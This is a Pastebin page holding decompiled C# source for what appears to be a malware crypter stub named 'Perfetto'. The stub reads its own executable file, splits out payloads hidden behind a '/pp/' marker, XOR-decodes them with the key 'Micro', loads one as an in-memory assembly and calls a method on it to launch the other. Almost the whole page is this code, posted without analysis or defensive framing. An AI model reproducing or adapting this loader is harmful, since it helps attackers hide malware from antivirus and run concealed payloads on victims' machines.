Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Microsoft.VisualBasic;
- using Microsoft.VisualBasic.CompilerServices;
- using System;
- using System.IO;
- using System.Reflection;
- using System.Runtime.CompilerServices;
- using System.Text;
- [StandardModule]
- public sealed class Perfetto
- {
- static Perfetto()
- {
- }
- public static string DL = Perfetto.Sandwich(Perfetto.SP()[2], "Micro");
- public static Assembly assembly__2 = Assembly.Load(Encoding.Default.GetBytes(Perfetto.DL));
- public static Type typo = Perfetto.assembly__2.GetType("PP.PP");
- public static object myobject = RuntimeHelpers.GetObjectValue(Activator.CreateInstance(Perfetto.typo));
- public static string[] SP()
- {
- string @string = Encoding.Default.GetString(File.ReadAllBytes(Assembly.GetEntryAssembly().Location));
- return Strings.Split(@string, "/pp/", -1, CompareMethod.Binary);
- }
- [STAThread]
- public static void Main(string[] args)
- {
- string bottle = Perfetto.SP()[1];
- string s = Perfetto.Sandwich(bottle, "Micro");
- byte[] array = Encoding.Default.GetBytes(s);
- object arg_75_0 = Perfetto.myobject;
- Type arg_75_1 = null;
- string arg_75_2 = "IM";
- object[] array2 = new object[]
- {
- array,
- "A",
- "_Start",
- new object[0]
- };
- object[] arg_75_3 = array2;
- string[] arg_75_4 = null;
- Type[] arg_75_5 = null;
- bool[] array3 = new bool[]
- {
- true,
- false,
- false,
- false
- };
- NewLateBinding.LateCall(arg_75_0, arg_75_1, arg_75_2, arg_75_3, arg_75_4, arg_75_5, array3, true);
- if (array3[0])
- {
- array = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array2[0]), typeof(byte[]));
- }
- }
- public static string Sandwich(string Bottle, string Joint)
- {
- StringBuilder stringBuilder = new StringBuilder();
- int arg_11_0 = 0;
- checked
- {
- int num = Bottle.Length - 1;
- for (int i = arg_11_0; i <= num; i += 2)
- {
- int num2 = 0;
- string value = Conversions.ToString(Strings.Chr((int)(Conversions.ToLong("&H" + Bottle.Substring(i, 2)) ^ unchecked((long)Strings.Asc(Joint[num2])))));
- stringBuilder.Append(value);
- if (num2 == Joint.Length - 1)
- {
- num2 = 0;
- }
- else
- {
- num2++;
- }
- }
- return stringBuilder.ToString();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement